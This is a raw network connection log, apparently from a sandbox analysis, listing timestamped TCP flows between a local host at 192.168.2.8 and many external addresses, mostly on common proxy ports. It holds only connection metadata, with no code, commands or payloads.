Feb 23, 2024 14:28:23.573941946 CET	8080	50037	45.126.168.178	192.168.2.8
Feb 23, 2024 14:28:23.573976040 CET	50047	4145	192.168.2.8	184.181.217.220
Feb 23, 2024 14:28:23.574496984 CET	4145	49941	174.77.111.196	192.168.2.8
Feb 23, 2024 14:28:23.574502945 CET	4145	49941	174.77.111.196	192.168.2.8
Feb 23, 2024 14:28:23.574944973 CET	50957	4145	192.168.2.8	174.77.111.196
Feb 23, 2024 14:28:23.574975967 CET	50956	80	192.168.2.8	172.67.3.98
Feb 23, 2024 14:28:23.575015068 CET	50955	30295	192.168.2.8	194.233.78.142
Feb 23, 2024 14:28:23.575371981 CET	80	49886	167.114.107.37	192.168.2.8
Feb 23, 2024 14:28:23.575383902 CET	80	49886	167.114.107.37	192.168.2.8
Feb 23, 2024 14:28:23.575494051 CET	49886	80	192.168.2.8	167.114.107.37
Feb 23, 2024 14:28:23.576011896 CET	50958	8080	192.168.2.8	121.200.48.58
Feb 23, 2024 14:28:23.576030970 CET	80	49886	167.114.107.37	192.168.2.8
Feb 23, 2024 14:28:23.576051950 CET	80	49886	167.114.107.37	192.168.2.8
Feb 23, 2024 14:28:23.576080084 CET	80	49886	167.114.107.37	192.168.2.8
Feb 23, 2024 14:28:23.576112986 CET	49886	80	192.168.2.8	167.114.107.37
Feb 23, 2024 14:28:23.576119900 CET	80	49886	167.114.107.37	192.168.2.8
Feb 23, 2024 14:28:23.576149940 CET	49886	80	192.168.2.8	167.114.107.37
Feb 23, 2024 14:28:23.576170921 CET	80	49886	167.114.107.37	192.168.2.8
Feb 23, 2024 14:28:23.576179981 CET	80	49886	167.114.107.37	192.168.2.8
Feb 23, 2024 14:28:23.576191902 CET	80	50726	113.30.149.76	192.168.2.8
Feb 23, 2024 14:28:23.576200008 CET	80	49886	167.114.107.37	192.168.2.8
Feb 23, 2024 14:28:23.576208115 CET	80	49886	167.114.107.37	192.168.2.8
Feb 23, 2024 14:28:23.576261997 CET	49886	80	192.168.2.8	167.114.107.37
Feb 23, 2024 14:28:23.576261997 CET	80	49886	167.114.107.37	192.168.2.8
Feb 23, 2024 14:28:23.576261997 CET	49886	80	192.168.2.8	167.114.107.37
Feb 23, 2024 14:28:23.576278925 CET	80	49886	167.114.107.37	192.168.2.8
Feb 23, 2024 14:28:23.576343060 CET	49886	80	192.168.2.8	167.114.107.37
Feb 23, 2024 14:28:23.576359034 CET	80	49886	167.114.107.37	192.168.2.8
Feb 23, 2024 14:28:23.576370955 CET	80	49886	167.114.107.37	192.168.2.8
Feb 23, 2024 14:28:23.576385021 CET	80	49886	167.114.107.37	192.168.2.8
Feb 23, 2024 14:28:23.576416016 CET	49886	80	192.168.2.8	167.114.107.37
Feb 23, 2024 14:28:23.576486111 CET	49886	80	192.168.2.8	167.114.107.37
Feb 23, 2024 14:28:23.576921940 CET	80	49886	167.114.107.37	192.168.2.8
Feb 23, 2024 14:28:23.577003002 CET	80	49886	167.114.107.37	192.168.2.8
Feb 23, 2024 14:28:23.577157974 CET	49886	80	192.168.2.8	167.114.107.37
Feb 23, 2024 14:28:23.577353001 CET	8081	50559	193.239.58.92	192.168.2.8
Feb 23, 2024 14:28:23.577701092 CET	50959	80	192.168.2.8	50.173.140.145
Feb 23, 2024 14:28:23.578078032 CET	3128	50073	36.95.102.111	192.168.2.8
Feb 23, 2024 14:28:23.578116894 CET	80	49886	167.114.107.37	192.168.2.8
Feb 23, 2024 14:28:23.578152895 CET	80	49886	167.114.107.37	192.168.2.8
Feb 23, 2024 14:28:23.578178883 CET	80	49886	167.114.107.37	192.168.2.8
Feb 23, 2024 14:28:23.578206062 CET	80	49886	167.114.107.37	192.168.2.8
Feb 23, 2024 14:28:23.578305960 CET	49886	80	192.168.2.8	167.114.107.37
Feb 23, 2024 14:28:23.578455925 CET	8080	50761	115.96.208.124	192.168.2.8
Feb 23, 2024 14:28:23.578723907 CET	50960	3128	192.168.2.8	18.185.169.15
Feb 23, 2024 14:28:23.578783989 CET	8080	50756	103.254.175.181	192.168.2.8
Feb 23, 2024 14:28:23.579494953 CET	8080	49723	115.96.208.124	192.168.2.8
Feb 23, 2024 14:28:23.579833031 CET	50961	32858	192.168.2.8	195.30.84.215
Feb 23, 2024 14:28:23.580491066 CET	48057	49821	75.119.145.169	192.168.2.8
Feb 23, 2024 14:28:23.580497980 CET	3128	50326	39.105.27.30	192.168.2.8
Feb 23, 2024 14:28:23.580687046 CET	50962	52929	192.168.2.8	92.204.134.38
Feb 23, 2024 14:28:23.582088947 CET	80	50906	172.67.181.58	192.168.2.8
Feb 23, 2024 14:28:23.582243919 CET	50963	9229	192.168.2.8	201.238.248.139
Feb 23, 2024 14:28:23.582298040 CET	80	49886	167.114.107.37	192.168.2.8
Feb 23, 2024 14:28:23.582307100 CET	80	49886	167.114.107.37	192.168.2.8
Feb 23, 2024 14:28:23.582345009 CET	50906	80	192.168.2.8	172.67.181.58
Feb 23, 2024 14:28:23.582366943 CET	49886	80	192.168.2.8	167.114.107.37
Feb 23, 2024 14:28:23.582374096 CET	80	49886	167.114.107.37	192.168.2.8
Feb 23, 2024 14:28:23.582405090 CET	80	49886	167.114.107.37	192.168.2.8
Feb 23, 2024 14:28:23.582417965 CET	80	49886	167.114.107.37	192.168.2.8
Feb 23, 2024 14:28:23.582456112 CET	80	49886	167.114.107.37	192.168.2.8
Feb 23, 2024 14:28:23.582463980 CET	80	49886	167.114.107.37	192.168.2.8
Feb 23, 2024 14:28:23.582495928 CET	49886	80	192.168.2.8	167.114.107.37
Feb 23, 2024 14:28:23.582520008 CET	80	49886	167.114.107.37	192.168.2.8
Feb 23, 2024 14:28:23.582529068 CET	80	49886	167.114.107.37	192.168.2.8
Feb 23, 2024 14:28:23.582555056 CET	80	49886	167.114.107.37	192.168.2.8
Feb 23, 2024 14:28:23.582556963 CET	49886	80	192.168.2.8	167.114.107.37
Feb 23, 2024 14:28:23.582578897 CET	80	49886	167.114.107.37	192.168.2.8
Feb 23, 2024 14:28:23.582587004 CET	49886	80	192.168.2.8	167.114.107.37
Feb 23, 2024 14:28:23.582587957 CET	80	49886	167.114.107.37	192.168.2.8
Feb 23, 2024 14:28:23.582587004 CET	50906	80	192.168.2.8	172.67.181.58
Feb 23, 2024 14:28:23.582617044 CET	80	49886	167.114.107.37	192.168.2.8
Feb 23, 2024 14:28:23.582638025 CET	80	49886	167.114.107.37	192.168.2.8
Feb 23, 2024 14:28:23.582650900 CET	49886	80	192.168.2.8	167.114.107.37
Feb 23, 2024 14:28:23.582684040 CET	80	49886	167.114.107.37	192.168.2.8
Feb 23, 2024 14:28:23.582714081 CET	49886	80	192.168.2.8	167.114.107.37
Feb 23, 2024 14:28:23.582782030 CET	8080	49723	115.96.208.124	192.168.2.8
Feb 23, 2024 14:28:23.582837105 CET	50964	80	192.168.2.8	50.174.145.10
Feb 23, 2024 14:28:23.583338022 CET	4145	50872	72.210.208.101	192.168.2.8
Feb 23, 2024 14:28:23.583503962 CET	8080	50089	46.209.54.102	192.168.2.8
Feb 23, 2024 14:28:23.583528042 CET	50872	4145	192.168.2.8	72.210.208.101
Feb 23, 2024 14:28:23.583708048 CET	50872	4145	192.168.2.8	72.210.208.101
Feb 23, 2024 14:28:23.584970951 CET	50966	8080	192.168.2.8	188.132.222.34
Feb 23, 2024 14:28:23.585032940 CET	50965	8080	192.168.2.8	81.94.255.13
Feb 23, 2024 14:28:23.585354090 CET	50210	29631	192.168.2.8	145.239.2.102
Feb 23, 2024 14:28:23.585374117 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.585374117 CET	50230	31554	192.168.2.8	147.45.40.15
Feb 23, 2024 14:28:23.585374117 CET	50231	1981	192.168.2.8	41.65.236.53
Feb 23, 2024 14:28:23.585376024 CET	50396	3128	192.168.2.8	79.101.37.78
Feb 23, 2024 14:28:23.585427046 CET	50233	3128	192.168.2.8	172.233.255.11
Feb 23, 2024 14:28:23.585428953 CET	50212	35982	192.168.2.8	138.197.92.110
Feb 23, 2024 14:28:23.585447073 CET	50222	80	192.168.2.8	34.87.103.220
Feb 23, 2024 14:28:23.585449934 CET	50217	44416	192.168.2.8	173.212.209.49
Feb 23, 2024 14:28:23.585453033 CET	50215	47056	192.168.2.8	162.240.10.35
Feb 23, 2024 14:28:23.585473061 CET	50554	14133	192.168.2.8	67.43.236.20
Feb 23, 2024 14:28:23.585473061 CET	50507	4481	192.168.2.8	50.231.0.43
Feb 23, 2024 14:28:23.585478067 CET	50229	44246	192.168.2.8	162.214.162.156
Feb 23, 2024 14:28:23.585506916 CET	50228	4085	192.168.2.8	161.97.163.52
Feb 23, 2024 14:28:23.585779905 CET	50967	1337	192.168.2.8	124.106.116.34
Feb 23, 2024 14:28:23.586786985 CET	50968	25431	192.168.2.8	67.43.236.20
Feb 23, 2024 14:28:23.586841106 CET	80	49886	167.114.107.37	192.168.2.8
Feb 23, 2024 14:28:23.586862087 CET	80	49886	167.114.107.37	192.168.2.8
Feb 23, 2024 14:28:23.586890936 CET	80	49886	167.114.107.37	192.168.2.8
Feb 23, 2024 14:28:23.586922884 CET	49886	80	192.168.2.8	167.114.107.37
Feb 23, 2024 14:28:23.586992979 CET	80	49886	167.114.107.37	192.168.2.8
Feb 23, 2024 14:28:23.587001085 CET	80	49886	167.114.107.37	192.168.2.8
Feb 23, 2024 14:28:23.587011099 CET	49886	80	192.168.2.8	167.114.107.37
Feb 23, 2024 14:28:23.587069035 CET	80	49886	167.114.107.37	192.168.2.8
Feb 23, 2024 14:28:23.587124109 CET	49886	80	192.168.2.8	167.114.107.37
Feb 23, 2024 14:28:23.587129116 CET	80	49886	167.114.107.37	192.168.2.8
Feb 23, 2024 14:28:23.587136984 CET	80	49886	167.114.107.37	192.168.2.8
Feb 23, 2024 14:28:23.587162971 CET	80	49886	167.114.107.37	192.168.2.8
Feb 23, 2024 14:28:23.587236881 CET	80	49886	167.114.107.37	192.168.2.8
Feb 23, 2024 14:28:23.587245941 CET	7491	49964	67.43.228.253	192.168.2.8
Feb 23, 2024 14:28:23.587275982 CET	49886	80	192.168.2.8	167.114.107.37
Feb 23, 2024 14:28:23.587810993 CET	50969	80	192.168.2.8	162.159.242.10
Feb 23, 2024 14:28:23.588751078 CET	50970	16379	192.168.2.8	51.15.196.107
Feb 23, 2024 14:28:23.589380980 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.589390039 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.589462042 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.589477062 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.589493990 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.589528084 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.589543104 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.589555025 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.589560986 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.589601040 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.589610100 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.589664936 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.589664936 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.589922905 CET	50971	32988	192.168.2.8	167.172.159.43
Feb 23, 2024 14:28:23.591368914 CET	50972	999	192.168.2.8	190.61.48.24
Feb 23, 2024 14:28:23.591790915 CET	50973	81	192.168.2.8	94.153.163.226
Feb 23, 2024 14:28:23.593696117 CET	50974	999	192.168.2.8	147.75.122.245
Feb 23, 2024 14:28:23.593698025 CET	50975	36076	192.168.2.8	109.123.254.43
Feb 23, 2024 14:28:23.594249964 CET	50976	60377	192.168.2.8	159.223.71.71
Feb 23, 2024 14:28:23.594907045 CET	8081	50559	193.239.58.92	192.168.2.8
Feb 23, 2024 14:28:23.595446110 CET	50977	46286	192.168.2.8	51.222.241.157
Feb 23, 2024 14:28:23.595546961 CET	3128	50073	36.95.102.111	192.168.2.8
Feb 23, 2024 14:28:23.595565081 CET	3128	50073	36.95.102.111	192.168.2.8
Feb 23, 2024 14:28:23.595597029 CET	3128	50073	36.95.102.111	192.168.2.8
Feb 23, 2024 14:28:23.595634937 CET	3128	50073	36.95.102.111	192.168.2.8
Feb 23, 2024 14:28:23.595642090 CET	50073	3128	192.168.2.8	36.95.102.111
Feb 23, 2024 14:28:23.596307039 CET	8080	50397	103.169.130.17	192.168.2.8
Feb 23, 2024 14:28:23.596314907 CET	80	50599	190.128.228.182	192.168.2.8
Feb 23, 2024 14:28:23.596438885 CET	50073	3128	192.168.2.8	36.95.102.111
Feb 23, 2024 14:28:23.596628904 CET	50978	58394	192.168.2.8	107.148.99.92
Feb 23, 2024 14:28:23.596667051 CET	8000	50728	222.220.102.159	192.168.2.8
Feb 23, 2024 14:28:23.596673965 CET	4145	50449	116.199.170.17	192.168.2.8
Feb 23, 2024 14:28:23.596740007 CET	4145	50449	116.199.170.17	192.168.2.8
Feb 23, 2024 14:28:23.596755028 CET	50728	8000	192.168.2.8	222.220.102.159
Feb 23, 2024 14:28:23.596760988 CET	50449	4145	192.168.2.8	116.199.170.17
Feb 23, 2024 14:28:23.596843958 CET	50728	8000	192.168.2.8	222.220.102.159
Feb 23, 2024 14:28:23.596946955 CET	50449	4145	192.168.2.8	116.199.170.17
Feb 23, 2024 14:28:23.597138882 CET	50979	4145	192.168.2.8	116.199.170.17
Feb 23, 2024 14:28:23.597800016 CET	50980	1111	192.168.2.8	203.79.29.198
Feb 23, 2024 14:28:23.598429918 CET	50981	8080	192.168.2.8	195.225.142.169
Feb 23, 2024 14:28:23.599458933 CET	50982	84	192.168.2.8	43.255.113.232
Feb 23, 2024 14:28:23.599561930 CET	80	50599	190.128.228.182	192.168.2.8
Feb 23, 2024 14:28:23.599750042 CET	80	50599	190.128.228.182	192.168.2.8
Feb 23, 2024 14:28:23.599988937 CET	50599	80	192.168.2.8	190.128.228.182
Feb 23, 2024 14:28:23.600003958 CET	80	50599	190.128.228.182	192.168.2.8
Feb 23, 2024 14:28:23.600070953 CET	80	50599	190.128.228.182	192.168.2.8
Feb 23, 2024 14:28:23.600078106 CET	80	50599	190.128.228.182	192.168.2.8
Feb 23, 2024 14:28:23.600152969 CET	50599	80	192.168.2.8	190.128.228.182
Feb 23, 2024 14:28:23.600152969 CET	50599	80	192.168.2.8	190.128.228.182
Feb 23, 2024 14:28:23.600471973 CET	50983	8080	192.168.2.8	217.172.122.14
Feb 23, 2024 14:28:23.600984097 CET	50025	80	192.168.2.8	50.174.7.153
Feb 23, 2024 14:28:23.600987911 CET	49957	999	192.168.2.8	191.97.19.66
Feb 23, 2024 14:28:23.600989103 CET	50026	8459	192.168.2.8	72.10.160.171
Feb 23, 2024 14:28:23.601005077 CET	50420	80	192.168.2.8	184.169.154.119
Feb 23, 2024 14:28:23.601006985 CET	50434	1088	192.168.2.8	46.227.37.1
Feb 23, 2024 14:28:23.601006985 CET	50238	11420	192.168.2.8	38.91.106.252
Feb 23, 2024 14:28:23.601007938 CET	49751	3786	192.168.2.8	148.72.212.212
Feb 23, 2024 14:28:23.601007938 CET	50235	8080	192.168.2.8	203.192.217.6
Feb 23, 2024 14:28:23.601015091 CET	50234	8181	192.168.2.8	36.91.98.115
Feb 23, 2024 14:28:23.601123095 CET	50236	80	192.168.2.8	134.213.213.124
Feb 23, 2024 14:28:23.601125002 CET	50239	5678	192.168.2.8	91.247.92.63
Feb 23, 2024 14:28:23.602411032 CET	50599	80	192.168.2.8	190.128.228.182
Feb 23, 2024 14:28:23.602415085 CET	50984	4145	192.168.2.8	176.197.103.58
Feb 23, 2024 14:28:23.602787018 CET	8081	50868	193.239.58.92	192.168.2.8
Feb 23, 2024 14:28:23.602902889 CET	50985	80	192.168.2.8	190.128.228.182
Feb 23, 2024 14:28:23.603022099 CET	50868	8081	192.168.2.8	193.239.58.92
Feb 23, 2024 14:28:23.603022099 CET	50868	8081	192.168.2.8	193.239.58.92
Feb 23, 2024 14:28:23.603127956 CET	50986	51226	192.168.2.8	162.240.19.133
Feb 23, 2024 14:28:23.603511095 CET	4145	50831	199.229.254.129	192.168.2.8
Feb 23, 2024 14:28:23.603593111 CET	4145	50831	199.229.254.129	192.168.2.8
Feb 23, 2024 14:28:23.604078054 CET	50987	999	192.168.2.8	201.71.2.41
Feb 23, 2024 14:28:23.604681015 CET	50988	4145	192.168.2.8	199.229.254.129
Feb 23, 2024 14:28:23.605495930 CET	50989	80	192.168.2.8	18.135.133.116
Feb 23, 2024 14:28:23.606347084 CET	50990	5678	192.168.2.8	117.4.242.216
Feb 23, 2024 14:28:23.606381893 CET	12529	50918	72.10.164.178	192.168.2.8
Feb 23, 2024 14:28:23.607381105 CET	50991	8080	192.168.2.8	103.114.10.250
Feb 23, 2024 14:28:23.607547998 CET	8080	50103	45.136.197.139	192.168.2.8
Feb 23, 2024 14:28:23.608305931 CET	50992	8123	192.168.2.8	161.202.226.194
Feb 23, 2024 14:28:23.608786106 CET	80	50924	104.22.14.48	192.168.2.8
Feb 23, 2024 14:28:23.609107971 CET	50924	80	192.168.2.8	104.22.14.48
Feb 23, 2024 14:28:23.609272003 CET	50993	4145	192.168.2.8	184.178.172.11
Feb 23, 2024 14:28:23.609276056 CET	50924	80	192.168.2.8	104.22.14.48
Feb 23, 2024 14:28:23.610636950 CET	23859	50077	50.63.12.33	192.168.2.8
Feb 23, 2024 14:28:23.610666990 CET	50994	29603	192.168.2.8	128.199.221.91
Feb 23, 2024 14:28:23.610675097 CET	1080	50407	183.89.40.232	192.168.2.8
Feb 23, 2024 14:28:23.610707045 CET	1080	50407	183.89.40.232	192.168.2.8
Feb 23, 2024 14:28:23.610774994 CET	50077	23859	192.168.2.8	50.63.12.33
Feb 23, 2024 14:28:23.610853910 CET	50077	23859	192.168.2.8	50.63.12.33
Feb 23, 2024 14:28:23.611402988 CET	50995	1080	192.168.2.8	183.89.40.232
Feb 23, 2024 14:28:23.611413002 CET	50996	999	192.168.2.8	38.253.88.242
Feb 23, 2024 14:28:23.613001108 CET	50998	8081	192.168.2.8	103.250.130.115
Feb 23, 2024 14:28:23.613003969 CET	50997	80	192.168.2.8	172.67.181.37
Feb 23, 2024 14:28:23.613055944 CET	9002	49954	221.6.139.190	192.168.2.8
Feb 23, 2024 14:28:23.613357067 CET	49954	9002	192.168.2.8	221.6.139.190
Feb 23, 2024 14:28:23.613542080 CET	49954	9002	192.168.2.8	221.6.139.190
Feb 23, 2024 14:28:23.613877058 CET	50999	5369	192.168.2.8	72.10.160.171
Feb 23, 2024 14:28:23.615025043 CET	51000	8090	192.168.2.8	185.32.5.130
Feb 23, 2024 14:28:23.615722895 CET	51001	8080	192.168.2.8	188.132.222.39
Feb 23, 2024 14:28:23.616089106 CET	8291	50733	164.163.21.14	192.168.2.8
Feb 23, 2024 14:28:23.616597891 CET	50700	20132	192.168.2.8	54.39.50.68
Feb 23, 2024 14:28:23.616600990 CET	50545	9251	192.168.2.8	162.214.162.180
Feb 23, 2024 14:28:23.616616964 CET	49945	51167	192.168.2.8	207.180.236.140
Feb 23, 2024 14:28:23.616619110 CET	50481	39533	192.168.2.8	167.172.109.12
Feb 23, 2024 14:28:23.616626024 CET	50584	9997	192.168.2.8	64.225.4.85
Feb 23, 2024 14:28:23.616626024 CET	50557	80	192.168.2.8	50.173.140.148
Feb 23, 2024 14:28:23.616628885 CET	50273	8089	192.168.2.8	111.224.11.67
Feb 23, 2024 14:28:23.616647959 CET	50401	80	192.168.2.8	50.207.199.80
Feb 23, 2024 14:28:23.617125988 CET	8291	50733	164.163.21.14	192.168.2.8
Feb 23, 2024 14:28:23.617248058 CET	80	50926	50.174.7.158	192.168.2.8
Feb 23, 2024 14:28:23.617357969 CET	50733	8291	192.168.2.8	164.163.21.14
Feb 23, 2024 14:28:23.617908001 CET	51002	8291	192.168.2.8	164.163.21.14
Feb 23, 2024 14:28:23.617912054 CET	50733	8291	192.168.2.8	164.163.21.14
Feb 23, 2024 14:28:23.618272066 CET	51004	3128	192.168.2.8	104.164.183.194
Feb 23, 2024 14:28:23.618393898 CET	51003	8181	192.168.2.8	103.78.96.146
Feb 23, 2024 14:28:23.618489981 CET	12899	49986	72.10.160.170	192.168.2.8
Feb 23, 2024 14:28:23.618941069 CET	20325	50465	72.10.164.178	192.168.2.8
Feb 23, 2024 14:28:23.619941950 CET	51005	2685	192.168.2.8	67.43.236.20
Feb 23, 2024 14:28:23.621831894 CET	8081	50736	212.127.93.185	192.168.2.8
Feb 23, 2024 14:28:23.621850014 CET	51007	16379	192.168.2.8	51.15.210.79
Feb 23, 2024 14:28:23.621850014 CET	51006	42048	192.168.2.8	109.123.254.43
Feb 23, 2024 14:28:23.622045040 CET	8081	50736	212.127.93.185	192.168.2.8
Feb 23, 2024 14:28:23.622664928 CET	8080	50875	185.38.111.1	192.168.2.8
Feb 23, 2024 14:28:23.622900963 CET	51009	8081	192.168.2.8	212.127.93.185
Feb 23, 2024 14:28:23.622901917 CET	51008	999	192.168.2.8	190.94.212.151
Feb 23, 2024 14:28:23.623004913 CET	50875	8080	192.168.2.8	185.38.111.1
Feb 23, 2024 14:28:23.623213053 CET	50875	8080	192.168.2.8	185.38.111.1
Feb 23, 2024 14:28:23.623831034 CET	51010	9812	192.168.2.8	181.176.221.151
Feb 23, 2024 14:28:23.625006914 CET	51011	1976	192.168.2.8	41.128.89.86
Feb 23, 2024 14:28:23.625514030 CET	8443	50203	219.243.212.118	192.168.2.8
Feb 23, 2024 14:28:23.625709057 CET	82	50769	217.199.151.94	192.168.2.8
Feb 23, 2024 14:28:23.626055956 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.626072884 CET	51012	21803	192.168.2.8	51.75.126.150
Feb 23, 2024 14:28:23.626087904 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.626132965 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.626147032 CET	50769	82	192.168.2.8	217.199.151.94
Feb 23, 2024 14:28:23.626147032 CET	9764	50880	162.243.102.207	192.168.2.8
Feb 23, 2024 14:28:23.626148939 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.626157045 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.626182079 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.626194954 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.626240969 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.626246929 CET	9764	50880	162.243.102.207	192.168.2.8
Feb 23, 2024 14:28:23.626302004 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.626341105 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.626358986 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.626372099 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.626384974 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.626394033 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.626455069 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.626458883 CET	50769	82	192.168.2.8	217.199.151.94
Feb 23, 2024 14:28:23.626485109 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.626490116 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.626521111 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.626528025 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.626573086 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.626626968 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.626653910 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.626666069 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.626677990 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.626688957 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.626718044 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.626738071 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.626791000 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.626806021 CET	51013	9764	192.168.2.8	162.243.102.207
Feb 23, 2024 14:28:23.626816034 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.626833916 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.626970053 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.627010107 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.627042055 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.627057076 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.627104044 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.627175093 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.627183914 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.627245903 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.627279997 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.627294064 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.627314091 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.627338886 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.627382994 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.627403975 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.627469063 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.627572060 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.627618074 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.627635956 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.627682924 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.627692938 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.627763033 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.627826929 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.627859116 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.627863884 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.627907038 CET	51014	64938	192.168.2.8	148.72.209.174
Feb 23, 2024 14:28:23.627907991 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.627908945 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.627918005 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.627975941 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.627985954 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.628014088 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.628053904 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.628078938 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.628088951 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.628114939 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.628123045 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.628139019 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.628151894 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.628165960 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.628174067 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.628196955 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.628200054 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.628258944 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.628304005 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.628349066 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.628362894 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.628376961 CET	51015	8080	192.168.2.8	103.132.52.122
Feb 23, 2024 14:28:23.628387928 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.628427982 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.628449917 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.628465891 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.628509998 CET	4228	50048	5.161.219.13	192.168.2.8
